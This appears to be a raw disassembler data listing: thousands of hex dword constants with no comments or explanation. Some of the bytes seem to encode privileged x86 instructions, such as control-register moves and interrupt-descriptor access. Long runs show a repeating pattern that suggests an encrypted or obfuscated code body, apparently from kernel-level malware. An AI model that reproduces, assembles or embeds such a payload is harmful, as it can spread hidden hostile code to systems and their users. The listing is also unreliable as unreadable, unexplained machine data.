		dd 0F062E46h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
		dd 24C88C66h, 0FC00A03h, 1984h,	0BB535000h, 2, 1201858Bh
		dd 1886062Bh, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
		dd 0FFFFFFCFh, 2474FF50h, 0A195FF08h, 50062B0Dh, 244C010Fh
		dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h,	665B0258h
		dd 324C88Ch, 840FC00Ah,	9, 1201858Bh, 0C6062Bh,	4FF5800h
		dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
		dd 3884h, 2BB00h, 858B0000h, 62B1201h, 0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 62B306Dh,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 6D85C700h, 62B30h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 4685C700h
		dd 1062E46h, 50000000h,	244C010Fh, 4A858FFEh, 8D062E46h
		dd 2E464285h, 4ABD8D06h, 89062E46h, 23E938h, 858D0000h
		dd 62B0F25h, 538408Bh, 9B46F317h, 46428589h, 858D062Eh
		dd 62B0F25h, 893C408Bh,	2E464685h, 5F858D06h, 89062E46h
		dd 2B0DA185h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0D2858D00h, 89062E48h, 2B1C6185h, 0FA858D06h, 89062E48h
		dd 2B2E4185h, 22858D06h, 89062E49h, 2B16B185h, 12E806h
		dd 0F29A0000h, 0DB564207h, 724615F4h, 365B376Ch, 0A7153756h
		dd 1AF18166h, 81665EC0h, 81520BD9h, 6E65C6h, 0F535000h
		dd 8Ah,	0BF5A5900h, 1B76h, 68B51B7h, 0C88B6660h, 9DBCBE66h
		dd 9CC08161h, 805BAF56h, 0F0812BE6h, 79DA36BBh,	0CE860h
		dd 486B0000h, 1FA41463h, 0BAD566AAh, 61604E6Dh,	0E8816158h
		dd 6BB254DEh, 0D5B350F8h, 0B70F068Fh, 0A0EE81DFh, 0F2ADCF6h
		dd 0C681D9B7h, 2ADCF69Ch, 4FCAB70Fh, 0FFA8850Fh, 7CB9FFFFh
		dd 60046B8Bh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 70F1ABC3h, 562E96C6h, 59D68B66h
		dd 1F9BD83h, 7500062Bh,	89BD8309h, 62B16h, 53501974h, 0EB8C08Bh
		dd 89000004h, 2B1B8185h, 759D8D06h, 0FF062DBFh,	83585BD3h
		dd 2B1689BDh, 17740006h, 0EB85350h, 89000004h, 2B1B8185h
		dd 649D8D06h, 0FF062DBCh, 66585BD3h, 0D71CD981h, 0A4BEC08Bh
		dd 835EB501h, 2B328DBDh, 840F0006h, 1Ch, 0FE9h,	5808DB00h
		dd 8E8909DCh, 0FAE468BAh, 50BA26DEh, 308E9h, 0F78B6600h
		dd 6ADF8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 66E698C3h, 4C7F7h, 2DB850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0EA0CA4C3h, 0F2DFF6ACh, 83F58A9Ah, 2B0845BDh, 850F0006h
		dd 15h,	6E9h, 0F479A500h, 0F008B23h, 96E9D0B7h,	8B000002h
		dd 0E9FF2BCEh, 0Fh, 2EB3515Ah, 80DFD4D9h, 0A1ED3C3Ah, 8D842DE3h
		dd 2E4D629Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 12E960CCh, 0FA000000h, 4708809Dh
		dd 1D53E9C1h, 0FD4069EEh, 3B687724h, 3890FD5h, 80000000h
		dd 0E96167DAh, 7, 0E40FC85Eh, 5043EF03h, 0CE957h, 77B00000h
		dd 0D94750A4h, 0EF7C0383h, 895E7CC2h, 6A241Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0B52F15C3h, 35FF6488h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EDC35141h
		dd 0DD0EC022h, 0B94FAB25h, 0E9816036h, 32F89568h, 13E8h
		dd 6F0B8F00h, 63943E6Ah, 9EF59E80h, 0A1EFF150h,	9003B74Dh
		dd 5BFA8B66h, 10E961h, 0C8C70000h, 0A3B0E3CEh, 8E6655D5h
		dd 0AAB074D9h, 896421F1h, 25h, 0C48BF500h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C7C35646h, 0B7D9A354h
		dd 2810FEFh, 0B6000000h, 0EB01CD1Dh, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 7440AA29h
		dd 0C318E629h, 58F64C9h, 0
		dd 0C483F18Bh, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 3F3AD5E6h, 737795D4h
		dd 0B352609Fh, 61FC5E33h, 840FC00Bh, 0F9h, 19830Fh, 850F0000h
		dd 13h,	0EE9h, 0FE06AE00h, 7AC95546h, 27C1DD12h, 6006537Ch
		dd 13E9h, 0DA8BED00h, 0A911ABD7h, 4687E86Ah, 2CDC8D5Ch
		dd 0C83AA411h, 616107B2h, 0BD8DF28Bh, 62B7186h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 2390E8BDh
		dd 9800FC7h, 60000000h,	81665857h, 61E69FD1h, 1B8h, 0D1BF0F00h
		dd 0BE66E7FFh, 0FE8EDF2h, 0B5000000h, 0BB880B1Ah, 54D3EBFAh
		dd 8A3FB00Fh, 8B6643D2h, 8B575EF0h, 8B10245Ch, 0B883h
		dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 6E860h, 0CAA90000h, 50708B33h, 830Fh, 66580000h
		dd 615F0EB9h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0C2C35545h, 14E0BC3Eh, 0C44F0063h, 0C08B61FFh
		dd 9E9h, 0D42A0A00h, 9561CE16h,	0BD839972h, 62B01F9h, 83097500h
		dd 2B1689BDh, 19740006h, 0C08B5350h, 40EB8h, 79858900h
		dd 8D062B34h, 2DBFDC9Dh, 5BD3FF06h, 89BD8358h, 62B16h
		dd 53501774h, 40EB8h, 79858900h, 8D062B34h, 2DBC7D9Dh
		dd 5BD3FF06h, 3EB96658h, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 544DECBEh, 6AE8D7D1h
		dd 8BF78B66h, 1B8D0FC0h, 0E8000000h, 13h, 2AFE0244h, 62860C00h
		dd 2B02ABD2h, 145B0D8Ch, 8B3D79FCh, 0C28B59D6h,	8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 62B0A01h, 9D3A858Dh,	88B062Eh, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 4E728D89h, 0BD83062Eh, 62B0845h,	0F840F00h
		dd 60000000h, 95FF006Ah, 62B2945h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 6E85895Ah, 8B062E4Eh
		dd 2E4E72B5h, 10CEC106h, 2728966h, 4E72B58Bh, 8966062Eh
		dd 8B61FC72h, 2E4E6E85h, 958DC306h, 62B30A9h, 12019589h
		dd 9589062Bh, 62B2B39h,	2B3985FFh, 85C6062Bh, 62B332Dh
		dd 48D86853h, 0B5FFFCB1h, 62B0B1Dh, 3C25858Dh, 0D0FF062Bh
		dd 29458589h, 858D062Bh, 62E4679h, 28C58589h, 51E9062Bh
		dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h
		dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h,	3B000000h
		dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h
		dd 8C2611Ch, 28C28300h,	0CF850F49h, 0E9FFFFFFh,	0FFFFFFE9h
		dd 9FD3EBAh, 0E900EB00h, 5D1h, 5C5E9h, 506B6800h, 0DE9062Eh
		dd 68FFFD30h, 62E51B9h,	0FD3003E9h, 523B68FFh, 0F9E9062Eh
		dd 68FFFD2Fh, 62E530Fh,	0FD2FEFE9h, 541F68FFh, 0E5E9062Eh
		dd 52FFFD2Fh, 0A4C33F09h, 0F4138FB1h, 45A25E60h, 91EE2A02h
		dd 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h
		dd 0C7D57A20h, 92C58F25h, 0F004DC58h, 94EBC062h, 0EBC048E2h
		dd 2F325194h, 7DACB219h, 0EBC0D853h, 0C0B44294h, 0A53494EBh
		dd 0A494EBC0h, 0C0610B19h, 0A1494EBh, 0C07F0D83h, 106014EBh
		dd 596874E3h, 340AC6F9h, 0EF1723F9h, 0ABC7513Eh, 0C4F8613Ch
		dd 6759FC9Bh, 4F33FA84h, 0B6152F30h, 0AF383585h, 12B89C81h
		dd 5AFB3F3h, 0D0547BA5h, 4D62E536h, 0EA000004h,	3C5B5771h
		dd 8CEB2719h, 0DD3AF6C8h, 2946429Ah, 66930F31h,	0E3026B3h
		dd 0DFE97592h, 0A993C423h, 7452126Dh, 3F4DE2B8h, 92C5908Dh
		dd 816C44C0h, 0EB76E1C7h, 0EBC053DDh, 8C3E4A94h, 0C194EBC0h
		dd 0DFC6259h, 0C0C7527Eh, 0BBB494EBh, 4761E3C7h, 0C5E6D18h
		dd 0D0474D6Ch, 4A0A65D9h, 19B4E36Ch, 0DD1257D9h, 0F45B2AE3h
		dd 2EFDC399h, 0CE869910h, 0C4D07FE8h, 94EBC02Ah, 3BCAC35Fh
		dd 1B8F73E8h, 1C837F59h, 7D96D952h, 39E0Ah, 0C781D400h
		dd 441B76E1h, 0C08B2533h, 60FE94EBh, 525BE7C4h,	0C07C0DC3h
		dd 0F85794EBh, 9ADAD08Dh, 35CA4B5h, 0FC82695Bh,	8A30140Dh
		dd 0B574480Fh, 0D0CCEA6Ah, 4A56E50Ah, 94EB1CA0h, 0CD4445D5h
		dd 3EE6733Eh, 0EC9641ACh, 0E19933Dh, 750094EBh,	0EB0EC567h
		dd 0A2C2494h, 0BD60A9B1h, 873324Eh, 0B6D2BC6Bh,	0FC8E9A29h
		dd 9194EB35h, 2E8D0089h, 8C9B1729h, 96754B11h, 46FE0188h
		dd 70DA8B60h, 0FAB8DC4h, 0DAFC7493h, 96B0AAF1h,	35FE8C1Ah
		dd 4F0F94EBh, 55A59675h, 8AD0CF18h, 0DECF53B8h,	2382533h
		dd 64238AC6h, 5DEFFDF0h, 306D3E0Ch, 981B922Eh, 7D87C86h
		dd 0C4174A28h, 2FF8Dh, 21233800h, 0F1D78AE5h, 4086DA35h
		dd 0C282B44h, 0D9E37790h, 74E1D0DDh, 0C3DCD8E2h, 126DA99Bh
		dd 60BF7B4Dh, 10CAC6E0h, 9143EDFBh, 323692C5h, 0E1C7811Eh
		dd 9BBDB70Ah, 47B7414Ch, 0E6664D7Bh, 55095427h,	0EB4A8DA0h
		dd 897A376Ch, 37C7B0D8h, 6CA8C414h, 0EB0F1462h,	1F069494h
		dd 67F794EBh, 0B4428E5Dh, 0AB94EB7Fh, 0BBC9165Bh, 8AC646CEh
		dd 0A3A5BAE1h, 689A3648h, 4A283CCEh, 7D63EA39h,	0BA000002h
		dd 0C6BA7A1h, 5CBB7749h, 0ADCAC6F8h, 0F91692AAh, 56A35F61h
		dd 5E60F663h, 2F1945A2h, 0F9C394F3h, 4462E23Dh,	6F7D9248h
		dd 92C592DDh, 819CB4B0h, 1B76E1C7h, 94AA0143h, 3CCB8615h
		dd 0EBC09E10h, 0BE6FF394h, 5304E163h, 0AFFECD69h, 64DCD2B6h
		dd 0E4761542h, 0A989D131h, 0BBD7ED66h, 5F0B8C72h, 77D97C0h
		dd 1F3h, 1DAFBD48h, 7094EB2Bh, 0F511372Dh, 62F09634h, 9394EBC0h
		dd 0E13EFACEh, 18674478h, 5FAE7D47h, 0F5D395F0h, 98810816h
		dd 0B4490EA4h, 0F04F9CA6h, 0E876556Fh, 0E3F4304Ch, 7D96D987h
		dd 5A3Fh, 0E2719B00h, 0EBC054D6h, 0F8312994h, 2039F747h
		dd 2701431Ch, 0B11EBAC4h, 0C6F33AA3h, 0A7CD4D8Ah, 4A290121h
		dd 0A9A2A576h, 8E000001h, 0E03FFBCDh, 304F4B7Dh, 819E1A2Ch
		dd 0CD2AE6C6h, 0A77B395h, 0B294CA57h, 3451976h,	0CDF76887h
		dd 98BEB6D1h, 8391BE1Ch, 92C593E9h, 3CC0989Ch, 5E05802Fh
		dd 0CFD9D6Eh, 0EBC0E284h, 26386794h, 274365DFh,	84DD208Bh
		dd 292B4440h, 5BB08ACCh, 1340ABC7h, 37504CA9h, 85E21E22h
		dd 0BB06E5C3h, 0A65A1A3h, 83A87254h, 83685204h,	0F5030EFFh
		dd 94EBC07Bh, 94BB100Eh, 0AC5D63F9h, 0FE0A0F55h, 94EBC04Ch
		dd 1FD1901h, 0F37D8B16h, 8694EBC0h, 95E01198h, 3BC68566h
		dd 0EBC0832Dh, 97807A94h, 0B39EC24Ah, 0C8D7D648h, 6876B294h
		dd 94EB12DAh, 0A6BB75C5h, 953149A2h, 27E33E4Ah,	6CF28AC6h
		dd 8FB1A4E3h, 1B1C4540h, 3E67630Dh, 0EC08166Dh,	0D48A031Fh
		dd 37A0A4BBh, 0C9C00258h, 4E72E73Ah, 0A3C1E7Dh,	0C0065AA1h
		dd 5E78F897h, 5662ED8Dh, 6D3E67D4h, 0A578B1A9h,	0BC2B48B8h
		dd 135D5590h, 1CA6B873h, 505352D6h, 99430AD9h, 9E000000h
		dd 0F00F8BBDh, 405F5B6Dh, 91EE2A1Ch, 0DD3AF6D6h, 3A474385h
		dd 4284DA47h, 13352946h, 0DDE77897h, 0A88EC621h, 7381AE6Ch
		dd 92C594F9h, 81B0888Ch, 0B70AE1C7h, 0ED309BBDh, 26755676h
		dd 0CEBE0D33h, 0AFFC7357h, 4E7EE5A0h, 0CCE2A65Fh, 6176B294h
		dd 7D96DA05h, 1EB9h, 70F3AE00h,	0F0315554h, 94EBC061h
		dd 3AF6D090h, 60F37E2Dh, 7F8F89h, 128289h, 0F0740000h
		dd 94EBC062h, 0A724D193h, 9E96AD9Eh, 0CBCFCB67h, 9BF6865Dh
		dd 132FFCD8h, 2739Ah, 0E7C30000h, 3E8DC81h, 49A284BCh
		dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h
		dd 97744A0Eh, 0D8331548h, 0E7895708h, 46EDB951h, 0F18114DEh
		dd 14DE46E9h, 8359CF01h, 3C8704EFh, 89505C24h, 405E0h
		dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h,	4C3h, 4EB8100h
		dd 87000000h, 895C241Ch, 5052243Ch, 1C3228B8h, 58C28961h
		dd 0ACC2814Ah, 89A5121Dh, 5F685AD3h, 8900002Bh,	4832424h
		dd 685F0424h, 1A3Dh, 89240489h,	84789D8h, 2434FF58h, 4C4815Fh
		dd 0FF000000h, 835B2434h, 55E904C4h, 0A1FFFD2Ah, 0DDB82632h
		dd 3062E54h, 0EBD18BC5h, 20h, 7	dup(0)
		dd 516E900h, 0AE90000h,	68000005h, 62E5707h, 0FD2A13E9h
		dd 57D868FFh, 9E9062Eh,	68FFFD2Ah, 62E5971h, 0FD29FFE9h
		dd 59D868FFh, 0F5E9062Eh, 42FFFD29h, 94F32F19h,	0E403FFC1h
		dd 35524E70h, 819E1A32h, 0DE2BE7D9h, 0E6D87E1Bh, 0B791CD2Ah
		dd 13B1C7Bh, 0CCEA6A85h, 0D7E50AD0h, 92C59555h,	71142C28h
		dd 6F1F2502h, 3EEF7A46h, 6C787DE3h, 94EB82C2h, 0BC0FABB7h
		dd 0EB828210h, 5529C814h, 4563E2A1h, 1F294544h,	0E8A7FD97h
		dd 0CD5A5375h, 24h, 53127109h, 1889675h, 0EBC0E28Fh, 628FFF94h
		dd 332B66F5h, 0FDF89811h, 908AD9ABh, 1C01128Eh,	0F1000000h
		dd 0EBC062F0h, 0E00D7D94h, 0AB4C6977h, 206F8AD9h, 9C6CB0E6h
		dd 0C5A861B1h, 81455955h, 0CA06E5DBh, 14EBC03Dh, 0C196F558h
		dd 0CB201A3Ch, 69921BB7h, 754B1195h, 3645B0B9h,	7C0E1AA9h
		dd 1114EBC0h, 63718009h, 14EBD0D5h, 0F645A6B8h,	0AD5C587Eh
		dd 0B9C7105Dh, 0F5392628h, 0FE709C2Bh, 93ED3F26h, 9A36084Ch
		dd 3D8E9013h, 3F2601AFh, 0D6AA4BEDh, 6BC3BEA8h,	7B66F7h
		dd 6F600000h, 7B4D111Fh, 33418E90h, 94EBC0B9h, 0A93652CCh
		dd 0E3C57F1Ah, 929DA62Ah, 6EF08AD9h, 4ABFA2E1h,	45D53610h
		dd 4DBCC229h, 788DC7C2h, 3B60D68Ah, 4A46E2F5h, 0E70D2B2Dh
		dd 4A2CCD3Dh, 906499Ah,	86000003h, 0D837F3D5h, 28474385h
		dd 79961234h, 0C522DEFEh, 26FAB9Dh, 0AA9CC25Fh,	7B4D116Eh
		dd 0C5FF60BFh, 90B6AEC9h, 9BA94614h, 92C59711h,	75C8E064h
		dd 2D4h, 0D6DB816Dh, 0EBC020CAh, 7AC55594h, 0E8003D22h
		dd 0F2D975EFh, 0EB4530DEh, 12523194h, 8D5E62F7h, 385851EDh
		dd 94EB452Ah, 0EB4501AAh, 450B9994h, 0FD8B94EBh, 0FC94EB45h
		dd 657C25B1h, 0D2DB416Ah, 0EBC110BEh, 0B2BF0F54h, 0CCF26625h
		dd 0F8A732DDh, 779F1FB1h, 0D38BE4A1h, 85041AF1h, 0D905780Bh
		dd 0C4130FCAh, 19812B39h, 0E968AD39h, 0BB72ECCFh, 0E60B7BE8h
		dd 1471A79h, 0FA1594AAh, 14012FEEh, 0E86F2AB3h,	0FB56D5D4h
		dd 4C1143EDh, 8C2836A7h, 5608C866h, 89C01310h, 238h, 0C4C00459h
		dd 1490B4ABh, 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h
		dd 7AE03FFBh, 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0C59722CCh
		dd 0F9D15792h, 0AE1C781h, 22CF5847h, 0A6C69575h, 6986F667h
		dd 15B7D2FEh, 40DE8AD9h, 9EBCDB44h, 0F23B47A4h,	1B97A9AFh
		dd 0F1D7910Ch, 7A85041Ah, 5A0BE0E6h, 4E5A85EAh,	730BC32Bh
		dd 0CED8D44Ah, 674FD320h, 0E4869221h, 5674FD3h,	0F8866543h
		dd 0A4B01F03h, 674FD30Ah, 392AE37Fh, 0E21877C9h, 9FE0FED6h
		dd 0BA49D403h, 4FE31CAEh, 20E97167h, 7D888D90h,	0FAADE079h
		dd 7021482Eh, 5837A03Ch, 6167FD18h, 0B6AEC9C5h,	17953B90h
		dd 16799ED5h, 0C0ECF97Bh, 799ED52Eh, 48A33F23h,	6B524936h
		dd 0FB672218h, 0BCB10132h, 0B1EC0513h, 0FF6367ACh, 15333550h
		dd 0D3C67E99h, 0B19FA1B4h, 73AD043Fh, 5BB0CC52h, 0AD04F775h
		dd 5B98E873h, 6FD9E00Ch, 0AAB46D9Fh, 0CEA34E3Dh, 0D5332C59h
		dd 5D528F6Ah, 0C5C4102Bh, 33154F4Ah, 3DD898F7h,	0BAC42721h
		dd 3080CD1Eh, 6D8894C3h, 0E06BC158h, 0BBA2D17Eh, 1DCE99D7h
		dd 785375ECh, 0B0434AE6h, 1178E1Ch, 493DC44Eh, 81B1511Dh
		dd 0CF558h, 0F0D10000h,	94EBE362h, 767h, 62F05300h, 0E894EBE6h
		dd 85D21F6Fh, 0D9AB1A77h, 772A598Ah, 0E2F2D5E5h, 346B0A83h
		dd 213D1A3Ch, 1EBAC427h, 6043C2B1h, 0A678101h, 0F343F083h
		dd 7E4351FEh, 91731773h, 4ED57B89h, 0D90A5057h,	9F76h
		dd 596BF000h, 291F425Dh, 0F8CE92EDh, 4460E33Ch,	112B2F48h
		dd 2CA96895h, 7B94102Ah, 0CA25E1E3h, 1877B395h,	0D8827E58h
		dd 998B2533h, 7AFE92C5h, 0D6E27166h, 94EBC054h,	47F83129h
		dd 232539F7h, 0CD1AB6C8h, 0D9ABE2BFh, 0E26DED8Ah, 89B3A7h
		dd 370C08Dh, 562DC8D4h,	3E207317h, 57542EB4h, 0CB825150h
		dd 38h,	0C4C00459h, 1490B4ABh, 0A76365FBh, 0F32F0948h
		dd 3CF8C294h, 0CD950EF1h, 7AE03FFBh, 2E334C48h,	0C7819E1Ah
		dd 0D87725E1h, 0C59922CCh, 0F9D15792h, 375h, 7A5E6D00h
		dd 3E8DC81h, 49A284BCh,	705B6DF2h, 0B417312Dh, 0FCCFF169h
		dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h,	0E1895108h
		dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 2B0468h, 242C8900h
		dd 26C968h, 24148900h, 3C6BBE56h, 0A8684BC4h, 5D4DEA69h
		dd 835EF531h, 248904ECh, 24048124h, 4, 4EC815Ah, 89000000h
		dd 428F242Ch, 24148B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 5D2434FFh, 4C481h, 15E90000h, 7FFFD25h, 5A35B8DFh, 0C503062Eh
		dd 0BE8C88Bh, 75000000h, 53321C65h, 6C210EFCh, 0E3B0D20Ch
		dd 0CE95Fh, 67F90000h, 6E19C58Dh, 555CAEFFh, 0C78106E7h
		dd 6599h, 6E9h,	0A5DC9400h, 0BA245E66h,	1933h, 0FFF78B66h
		dd 14E937h, 0D4750000h,	7826FCABh, 0C0C2CB66h, 98E336EEh
		dd 64DB6648h, 8159E25Dh, 67A06CF1h, 47BB667Ah, 0DCE981FFh
		dd 81687C21h, 907DABCEh, 1DE98139h, 51467A50h, 810Fh, 78F0000h
		dd 830DD880h, 0DA8B01EFh, 504F4F4Fh, 5890Fh, 4AB80000h
		dd 584E05DFh, 1EA81h, 850F0000h, 27h, 0FE9h, 1996CB00h
		dd 0A2F54A19h, 3FD91B47h, 15EAC77Dh, 1BE9h, 0DF13CA00h
		dd 289A9349h, 9EA5C46Dh, 0F21AAC0h, 6CE9D8BFh, 95FFFFFFh
		dd 508F5D0Bh, 161E9h, 420C0900h, 95ECE734h, 715893DAh
		dd 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h
		dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch
		dd 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh
		dd 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h
		dd 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h
		dd 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h
		dd 0C3B5D4h, 622D4457h,	0AE29B0F3h, 38h, 3Ch, 40h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 29h dup(0)
		dd 25E90000h, 68000020h, 62E5F07h, 0FD22BFE9h, 602268FFh
		dd 0B5E9062Eh, 68FFFD22h, 62E60D9h, 0FD22ABE9h,	61B968FFh
		dd 0A1E9062Eh, 68FFFD22h, 62E62CEh, 0FD2297E9h,	638B68FFh
		dd 8DE9062Eh, 68FFFD22h, 62E6463h, 0FD2283E9h, 64F168FFh
		dd 79E9062Eh, 68FFFD22h, 62E6883h, 0FD226FE9h, 690768FFh
		dd 65E9062Eh, 68FFFD22h, 62E6A28h, 0FD225BE9h, 6D3668FFh
		dd 51E9062Eh, 68FFFD22h, 62E70C7h, 0FD2247E9h, 744F68FFh
		dd 3DE9062Eh, 68FFFD22h, 62E75B7h, 0FD2233E9h, 761868FFh
		dd 29E9062Eh, 68FFFD22h, 62E7673h, 0FD221FE9h, 76DC68FFh
		dd 15E9062Eh, 68FFFD22h, 62E789Fh, 0FD220BE9h, 797568FFh
		dd 1E9062Eh, 68FFFD22h,	62E7B9Eh, 0FD21F7E9h, 291B40FFh
		dd 0F9CF92EDh, 487EE23Dh, 1430334Ch, 0E1DB7F98h, 7C19D825h
		dd 0CB24E0DAh, 1A75B193h, 68870345h, 8D2CEE8h, 9D5BD5E3h
		dd 2A2E92C5h, 6046FE9Dh, 0C7812DA9h, 0BDB70AE1h, 9EEE1F9Bh
		dd 67FA0651h, 3E8AC6DEh, 1C28B720h, 6D3F3E92h, 391C7BE7h
		dd 0D9F78607h, 6D3F3E4Bh, 4AA1A7BAh, 73587CF7h,	0A0473B20h
		dd 0D501C57Ch, 776BDB99h, 3C065837h, 4E38CDh, 6F9A0000h
		dd 59D3E11Fh, 4094EBC0h, 0EBC0BA34h, 6853CF94h,	0FF0D5AF6h
		dd 8AC6EACAh, 3C025685h, 0F7854BA0h, 0BD6D3F29h, 7F1AC084h
		dd 0B70AE1DBh, 334F9CA0h, 0F7731697h, 0AF776BC2h, 0DEh
		dd 8962E5A0h, 21CEFD1h,	0BFB605E6h, 0E8C7D99h, 0AE1C781h
		dd 3299A3B7h, 785375EFh, 99BFB6D5h, 71571110h, 90B4ABE6h
		dd 0C0B73947h, 54CA94EBh, 8CFFE955h, 5F94EBDCh,	0F50E10E5h
		dd 960AEF34h, 0E761BE7Ah, 979EAC1h, 381C7BE4h, 1495A506h
		dd 1FC2EFFDh, 0ADAD7539h, 6B88F871h, 0DFCDD0FCh, 0D1CC730Dh
		dd 0A51BA8Ah, 0D6D77355h, 19CCB57h, 0A8A76646h,	575375EDh
		dd 12F2638h, 674CDE6Fh,	52E07CE2h, 5056C43Eh, 4C6FE635h
		dd 8600001Dh, 0D837F3D5h, 28474385h, 79961234h,	0C522DEFEh
		dd 26FAB9Dh, 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh,	90B6AEC9h
		dd 9BA94614h, 92C59F11h, 81C8E064h, 857D34D9h, 8B51DB33h
		dd 41AF1D3h, 37504CE8h,	709F1B3Dh, 0B155D7E5h, 362894EBh
		dd 1F6FD3F7h, 0DD617D01h, 94308247h, 94343D4Bh,	0D74B8AC6h
		dd 0A84AD8F4h, 0E7006D3Eh, 3893B5A8h, 2F8B5926h, 0F6634DA7h
		dd 0C3A0E37h, 776BF662h, 4B133560h, 592187Fh, 0D9F784h
		dd 81D30000h, 0EB76E1C7h, 0EBC053DDh, 9CBABA94h, 95C8334Fh
		dd 0F13F8CCh, 146B3AF3h, 0BC937842h, 6A4167E1h,	0F0BBD5D4h
		dd 9B94EBDCh, 3550FFD9h, 0A2CE192Fh, 6B143C08h,	762CDD7Dh
		dd 9CAA5F19h, 0D061A68Bh, 18379430h, 2CCD7F8Dh,	9E806B14h
		dd 618EFE6Fh, 81C39BF6h, 7A95142Ah, 3909436Eh, 0F02C3275h
		dd 0F292867h, 0D01D6D9Eh, 0D5177987h, 0F72A730Dh, 0EE705B7Dh
		dd 0D0860552h, 8DD532EEh, 9E2E478h, 53AFD571h, 345056CCh
		dd 1C316CE7h, 0BAA30000h, 6EF5128Eh, 1F45A25Eh,	0D392ED29h
		dd 78DE39F5h, 783F4A46h, 45417BDFh, 9A16302Ah, 24E0E47Dh
		dd 73AF89CBh, 0F47682A9h, 8992C5A0h, 0D981B78Bh, 613C2BE7h
		dd 5EE0CBFDh, 361050AFh, 0EB3E6DFAh, 0E0F961ACh, 71EFEB22h
		dd 0E409A602h, 3CED9030h, 0CE8663E5h, 207F4CE8h, 0A28A0620h
		dd 300070C3h, 0A8B6152Fh, 10B5C30Ch, 378AC648h,	56E0EC2Bh
		dd 49A8AC23h, 2C6BF4F9h, 0A5B51628h, 16DFED64h,	39B781F6h
		dd 2999CA21h, 0C08D9BC4h, 77BDDA9Ch, 0B2D17CEBh, 29319AACh
